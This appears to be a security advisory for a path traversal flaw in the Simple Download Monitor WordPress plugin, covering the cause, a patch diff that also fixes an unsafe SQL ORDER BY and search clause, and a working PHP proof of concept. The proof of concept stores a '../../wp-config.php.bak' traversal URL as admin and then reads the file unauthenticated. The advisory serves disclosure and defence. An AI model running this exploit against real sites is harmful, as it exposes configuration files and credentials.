Published : November 30, 2026

CVE-2026-135625: Simple Download Monitor <= 4.1.5 Unauthenticated Path Traversal to File Read via 'sdm_upload' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 4.1.5
Patched Version 4.1.6
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135625: The Simple Download Monitor plugin for WordPress (versions <= 4.1.5) contains a critical path traversal vulnerability in the `sdm_upload` parameter handling. This flaw permits authenticated attackers (Administrator or lower if permissions are relaxed) to store a crafted traversal URL in a download post's metadata, enabling unauthenticated users to read arbitrary non-PHP files outside the intended uploads directory via a single GET request. The CVSS score is 7.5 (High).

Root Cause: The vulnerability stems from multiple failures in `SDM_Utils_File_System_Related::get_uploaded_file_path_from_url()` (file `includes/sdm-utility-file-system-related.php`). Before patching, the function stripped a fixed number of characters from the stored URL to compute a relative path without verifying that the URL begins with the expected `$wp_content_url` prefix. It then performed no post-`realpath()` containment check to ensure the resolved path stayed within the sdm-uploads directory. Additionally, `SDM_File_Protection_Handler::contains_protected_dirname()` used a substring regex that matched `uploads/sdm-uploads` anywhere in the URL, rather than enforcing a structural prefix. The save path in `includes/admin-side/sdm-admin-edit-download.php` used `esc_url_raw()` on the `sdm_upload` value, which left `../` sequences intact. These design flaws allow an attacker to inject traversal sequences that are stored and later resolved to arbitrary file paths.

Exploitation: An attacker with Administrator-level access (or lower, if the plugin's "Admin Dashboard Access Permission" setting is reduced) can create or edit an `sdm_downloads` post and set the `sdm_upload` field to a URL such as `http://example.com/wp-content/uploads/../../wp-config.php.bak`. The `esc_url_raw()` call does not strip `../`. When an unauthenticated visitor sends a GET request to `/?sdm_process_download=1&download_id=N` (where N is the post ID), the plugin reads the stored URL, resolves the path, and streams the file. The plugin's extension blocklist blocks PHP, CGI, and executable extensions, but does not block `.bak`, `.log`, `.sql`, `.sqlite`, `.conf`, `.ini`, `.inc`, `.zip`, and similar file types. Thus, an attacker can exfiltrate wp-config.php backups, database dumps, debug logs, and other sensitive files.

Patch Analysis: The patch (version 4.1.6) addresses the root cause in several ways. It adds a strict prefix check: before stripping, the code verifies that the file URL (scheme-agnostic) starts with the base content URL (with trailing slash). If not, it returns `false`. It introduces `path_has_traversal()` which checks for `.` or `..` segments (including URL-encoded and double-encoded forms, and treating backslashes as separators) and rejects any path containing them. After resolving with `realpath()`, it validates that the resolved path is a prefix of either the content directory or, when no subdirectory is specified, the uploads directory (resolved with `realpath()` to handle symlinks). On the save path, it now checks the `sdm_upload` value using `path_has_traversal()` and refuses to update the meta if traversal is detected, instead setting a transient to show an error notice. The patch also hardens the file extension blocklist by always blocking PHP and script extensions regardless of settings. These changes ensure that only paths within the intended uploads directory are accepted, and that traversal attempts are rejected at both save and retrieval time.

Impact: Successful exploitation allows an attacker to read arbitrary non-PHP files from the server filesystem. This can lead to the disclosure of sensitive configuration files (wp-config.php backups), database dumps, log files, and other confidential data. In severe cases, exposed database credentials or API keys can lead to full site compromise. The vulnerability requires authentication to store the malicious URL, but the download endpoint is unauthenticated, making the data exfiltration trivial for any visitor once the URL is stored. This poses a significant risk to confidentiality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-download-monitor/includes/admin-side/sdm-admin-edit-download.php
+++ b/simple-download-monitor/includes/admin-side/sdm-admin-edit-download.php
@@ -7,6 +7,7 @@
 		add_action( 'save_post_sdm_downloads', array( $this, 'save_post_handler' ), 10, 3 );
 		// Grabs the inserted post data so we can sanitize/modify it.
 		add_filter( 'wp_insert_post_data' , array( $this, 'insert_post_sdm_post_title' ), '99', 1 );
+		add_action( 'admin_notices', array( $this, 'show_rejected_upload_url_notice' ) );

 		if ( wp_doing_ajax() ) {
 			add_action( 'wp_ajax_sdm_remove_thumbnail_image', array( $this, 'remove_thumbnail_image_ajax_handler' ) );
@@ -346,6 +347,17 @@
 		return $data; // Returns the modified data.
 	}

+	public function show_rejected_upload_url_notice() {
+		$transient_key = 'sdm_upload_url_rejected_' . get_current_user_id();
+		if ( ! get_transient( $transient_key ) ) {
+			return;
+		}
+		delete_transient( $transient_key );
+		echo '<div class="notice notice-error is-dismissible"><p>';
+		esc_html_e( 'The Downloadable File URL was not saved because it contains "../" (path traversal), which is not allowed. Please enter the direct URL of the file.', 'simple-download-monitor' );
+		echo '</p></div>';
+	}
+
 	public function save_post_handler( $post_id, $post, $update ) {
 		if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || ! $update || empty( $post_id ) ) {
 			return;
@@ -373,7 +385,13 @@

 		// *** File Upload ***
 		if ( isset( $_POST['sdm_upload'] ) ) {
-			update_post_meta( $post_id, 'sdm_upload', esc_url_raw( $_POST['sdm_upload'], array( 'http', 'https', 'dropbox' ) ) );
+			$sdm_upload_url = esc_url_raw( wp_unslash( $_POST['sdm_upload'] ), array( 'http', 'https', 'dropbox' ) );
+			if ( SDM_Utils_File_System_Related::path_has_traversal( wp_parse_url( $sdm_upload_url, PHP_URL_PATH ) ) ) {
+				// Don't save a file URL that contains "../" (path traversal). Keep the previous value and show an error notice.
+				set_transient( 'sdm_upload_url_rejected_' . get_current_user_id(), 1, 60 );
+			} else {
+				update_post_meta( $post_id, 'sdm_upload', $sdm_upload_url );
+			}
 		}

 		// *** PHP Dispatch or Redirect ***
--- a/simple-download-monitor/includes/sdm-utility-file-system-related.php
+++ b/simple-download-monitor/includes/sdm-utility-file-system-related.php
@@ -51,12 +51,12 @@
 	 * @param string $file_url File URL
 	 * @param array $sub_dirs  Subdirectory. Use multiple items for nested directories.
 	 *
-	 * @return string|false File Path. FALSE if path couldn't be resolved.
+	 * @return string|false File Path. FALSE if path couldn't be resolved, or if it resolves to a location outside the expected directory.
 	 */
 	public static function get_uploaded_file_path_from_url($file_url, $sub_dirs = array()){
 		if(!empty($sub_dirs)){
-			$sub_dirs = implode(DIRECTORY_SEPARATOR, $sub_dirs);
-			$sub_dirs = trim(trim($sub_dirs), DIRECTORY_SEPARATOR);
+			$sub_dirs = implode('/', $sub_dirs);
+			$sub_dirs = trim(trim($sub_dirs), '/\');

 			$wp_content_dir = path_join(WP_CONTENT_DIR, $sub_dirs);
 			$wp_content_url = rtrim(WP_CONTENT_URL, '/') . '/' . $sub_dirs;
@@ -65,10 +65,74 @@
 			$wp_content_url = WP_CONTENT_URL;
 		}

-		$file_path = path_join( $wp_content_dir, ltrim( substr( $file_url, strlen( $wp_content_url ) ), '/' ) );
-		$file_path = realpath( $file_path );
+		if ( ! is_string( $file_url ) || $file_url === '' ) {
+			return false;
+		}
+
+		// The file URL must start with the expected base URL. The scheme is ignored so that URLs saved before a site moved from http to https keep working.
+		$file_url_no_scheme = self::remove_url_scheme( trim( $file_url ) );
+		$base_url_no_scheme = rtrim( self::remove_url_scheme( $wp_content_url ), '/' ) . '/';
+		if ( stripos( $file_url_no_scheme, $base_url_no_scheme ) !== 0 ) {
+			return false;
+		}
+
+		$relative_path = substr( $file_url_no_scheme, strlen( $base_url_no_scheme ) );
+
+		// Reject path traversal ("." or ".." path segments).
+		if ( self::path_has_traversal( $relative_path ) ) {
+			return false;
+		}
+
+		$file_path = realpath( path_join( $wp_content_dir, ltrim( $relative_path, '/\' ) ) );
+		if ( false === $file_path ) {
+			return false;
+		}
+
+		// Make sure the resolved path is still inside the expected directory.
+		$allowed_base_dirs = array( $wp_content_dir );
+		if ( empty( $sub_dirs ) && function_exists( 'wp_upload_dir' ) ) {
+			// The uploads folder is sometimes a symlink to a location outside wp-content. Files in it are allowed too.
+			$upload_dir = wp_upload_dir( null, false );
+			if ( ! empty( $upload_dir['basedir'] ) ) {
+				$allowed_base_dirs[] = $upload_dir['basedir'];
+			}
+		}
+
+		foreach ( $allowed_base_dirs as $base_dir ) {
+			$base_dir = realpath( $base_dir );
+			if ( false !== $base_dir && strpos( $file_path, rtrim( $base_dir, '/\' ) . DIRECTORY_SEPARATOR ) === 0 ) {
+				return $file_path;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Removes the scheme (for example "https:") from a URL. The result starts with "//" for absolute URLs.
+	 *
+	 * @param string $url
+	 *
+	 * @return string
+	 */
+	public static function remove_url_scheme( $url ) {
+		return preg_replace( '#^[a-z][a-z0-9+.-]*:#i', '', $url );
+	}
+
+	/**
+	 * Checks if a path or URL contains path traversal segments ("." or ".."), including URL-encoded ones.
+	 *
+	 * @param string $path
+	 *
+	 * @return bool TRUE if the path contains traversal segments, FALSE otherwise.
+	 */
+	public static function path_has_traversal( $path ) {
+		// Ignore the query string and fragment (if any).
+		$path = preg_replace( '/[?#].*$/s', '', (string) $path );
+		// Decode twice to catch double-encoded sequences, and treat backslashes as path separators.
+		$path = str_replace( '\', '/', rawurldecode( rawurldecode( $path ) ) );

-		return $file_path;
+		return (bool) preg_match( '#(^|/).{1,2}(/|$)#', $path );
 	}

 	/**
@@ -105,7 +169,8 @@

 		$disallowed_ext_arr_raw = explode( ',', strtolower( $disallowed_ext_opt ) );

-		$disallowed_ext_arr = array();
+		// These PHP and script extensions are always blocked, regardless of the settings.
+		$disallowed_ext_arr = array( 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phps', 'phtml', 'phar', 'pht' );

 		foreach ( $disallowed_ext_arr_raw as $item ) {
 			array_push( $disallowed_ext_arr, sanitize_text_field( $item ) );
--- a/simple-download-monitor/main.php
+++ b/simple-download-monitor/main.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simple Download Monitor
  * Plugin URI: https://simple-download-monitor.com/
  * Description: Easily manage downloadable files and monitor downloads of your digital files from your WordPress site.
- * Version: 4.1.5
+ * Version: 4.1.6
  * Author: Tips and Tricks HQ, Ruhul Amin, Josh Lobe
  * Author URI: https://www.tipsandtricks-hq.com/development-center
  * License: GPL2
@@ -14,7 +14,7 @@
 	exit;
 }

-define( 'WP_SIMPLE_DL_MONITOR_VERSION', '4.1.5' );
+define( 'WP_SIMPLE_DL_MONITOR_VERSION', '4.1.6' );
 define( 'WP_SIMPLE_DL_MONITOR_DIR_NAME', dirname( plugin_basename( __FILE__ ) ) );
 define( 'WP_SIMPLE_DL_MONITOR_URL', plugins_url( '', __FILE__ ) );
 define( 'WP_SIMPLE_DL_MONITOR_PATH', plugin_dir_path( __FILE__ ) );
@@ -260,6 +260,12 @@
 		));
 	}

+	if ( ! current_user_can( get_sdm_admin_access_permission() ) ) {
+		wp_send_json_error(array(
+			'message' => __('You do not have permission to export the download logs.', 'simple-download-monitor')
+		));
+	}
+
 	// Set the maximum execution time to 2 minutes.
 	set_time_limit( 60 * 2 );

@@ -267,27 +273,39 @@

 	$table_name = $wpdb->prefix . 'sdm_downloads';

-	$search_text = isset( $_POST['search'] ) ? sanitize_text_field( $_POST['search'] ) : '';
-	$orderby_column = isset( $_POST['orderBy'] ) ? sanitize_text_field( $_POST['orderBy'] ) : 'id';
-	$sort_order     = isset( $_POST['order'] ) ? sanitize_text_field( $_POST['order'] ) : 'desc';
+	$search_text    = isset( $_POST['search'] ) ? sanitize_text_field( wp_unslash( $_POST['search'] ) ) : '';
+	$orderby_column = isset( $_POST['orderBy'] ) ? strtolower( sanitize_text_field( wp_unslash( $_POST['orderBy'] ) ) ) : '';
+	$sort_order     = isset( $_POST['order'] ) ? strtoupper( sanitize_text_field( wp_unslash( $_POST['order'] ) ) ) : '';
+
+	// Only allow sorting by the columns that the download logs table can be sorted by.
+	$allowed_orderby_columns = array( 'id', 'post_title', 'file_url', 'visitor_ip', 'date_time', 'visitor_country', 'visitor_name', 'user_agent', 'referrer_url' );
+	if ( ! in_array( $orderby_column, $allowed_orderby_columns, true ) ) {
+		$orderby_column = 'id';
+	}
+	if ( ! in_array( $sort_order, array( 'ASC', 'DESC' ), true ) ) {
+		$sort_order = 'DESC';
+	}

-	$order_by_clause = sanitize_sql_orderby("$orderby_column $sort_order");
+	$order_by_clause = "$orderby_column $sort_order";

 	$select_cols = "id as 'Log ID', post_id as 'Download ID', post_title as 'Download Title', file_url as 'File URL',date_time as 'Date',visitor_ip as 'IP Address', visitor_country as 'Country', visitor_name as 'Name'";

+	$where_args = array();
 	if(empty($search_text)){
 		$total_items = $wpdb->get_var(  "SELECT COUNT(*) FROM $table_name" );
 		$query       = "SELECT $select_cols FROM $table_name ORDER BY $order_by_clause LIMIT %d, %d";
 	} else {
-		$columns = ['post_title', 'post_id', 'visitor_name', 'visitor_ip', 'visitor_country'];
-		$like_query = [];
+		$columns     = array( 'post_title', 'post_id', 'visitor_name', 'visitor_ip', 'visitor_country' );
+		$search_like = '%' . $wpdb->esc_like( $search_text ) . '%';
+		$like_query  = array();
 		foreach ($columns as $column) {
-			$like_query[] = "$column LIKE '%" . esc_sql($search_text) . "%'";
+			$like_query[] = "$column LIKE %s";
+			$where_args[] = $search_like;
 		}

 		$where_clause = implode(' OR ', $like_query);

-		$total_items = $wpdb->get_var( "SELECT COUNT(*) FROM $table_name WHERE $where_clause" );
+		$total_items = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $table_name WHERE $where_clause", $where_args ) );
 		$query       = "SELECT $select_cols FROM $table_name WHERE $where_clause ORDER BY $order_by_clause LIMIT %d, %d";
 	}

@@ -300,14 +318,15 @@
 	for ( $current_page = 1; $current_page <= $total_pages; $current_page++ ) {
 		$offset = ( $current_page - 1 ) * $records_per_page;

-		$query_prepared = $wpdb->prepare( $query, $offset, $records_per_page );
+		$query_prepared = $wpdb->prepare( $query, array_merge( $where_args, array( $offset, $records_per_page ) ) );

 		$results = $wpdb->get_results( $query_prepared, ARRAY_A );

-		// Check if there were any error during query.
+		// Check if there were any error during query. Log the database error and show a generic message (don't send the database error to the browser).
 		if ( ! empty( $wpdb->last_error ) ) {
+			SDM_Debug::log( 'Export logs query failed. Database error: ' . $wpdb->last_error, false );
 			wp_send_json_error(array(
-				'message' => $wpdb->last_error,
+				'message' => __('Error! The download logs could not be retrieved.', 'simple-download-monitor'),
 			));
 		}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135625 - Simple Download Monitor <= 4.1.5 - Unauthenticated Path Traversal to File Read via 'sdm_upload' Parameter

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'admin'; // Administrator credentials
$password = 'password'; // Administrator password
$post_id = 123; // ID of an sdm_downloads post to modify (must exist)
$traversal_file = '../../wp-config.php.bak'; // File to read (relative to wp-content/uploads/)

// Initialize cURL
$ch = curl_init();

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Set the sdm_upload meta field with a traversal path via the post edit form
// The edit form requires the post ID and a nonce; we assume we can fetch the nonce from the edit page.
$edit_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);

// Extract the _wpnonce from the edit form (simplified; in practice, parse the HTML)
preg_match('/name="_wpnonce" value="([^"]+)"/', $edit_page, $matches);
$nonce = $matches[1] ?? '';

// Construct the malicious URL: base content URL + traversal
$malicious_url = $target_url . '/wp-content/uploads/' . $traversal_file;

// Prepare POST data for saving the post
$post_data = array(
    'action' => 'editpost',
    'post_ID' => $post_id,
    'post_type' => 'sdm_downloads',
    '_wpnonce' => $nonce,
    'sdm_upload' => $malicious_url,
    // Other required fields may be needed; this is a simplified example.
);

// Send the POST request to save the meta
$save_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$save_response = curl_exec($ch);

// Step 3: Trigger the download as an unauthenticated user (clear cookies)
curl_setopt($ch, CURLOPT_COOKIEJAR, '');
curl_setopt($ch, CURLOPT_COOKIEFILE, '');
$download_url = $target_url . '/?sdm_process_download=1&download_id=' . $post_id;
curl_setopt($ch, CURLOPT_URL, $download_url);
curl_setopt($ch, CURLOPT_POST, false);
$file_content = curl_exec($ch);

// Output the retrieved file content
echo "Retrieved file content:n" . $file_content;

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.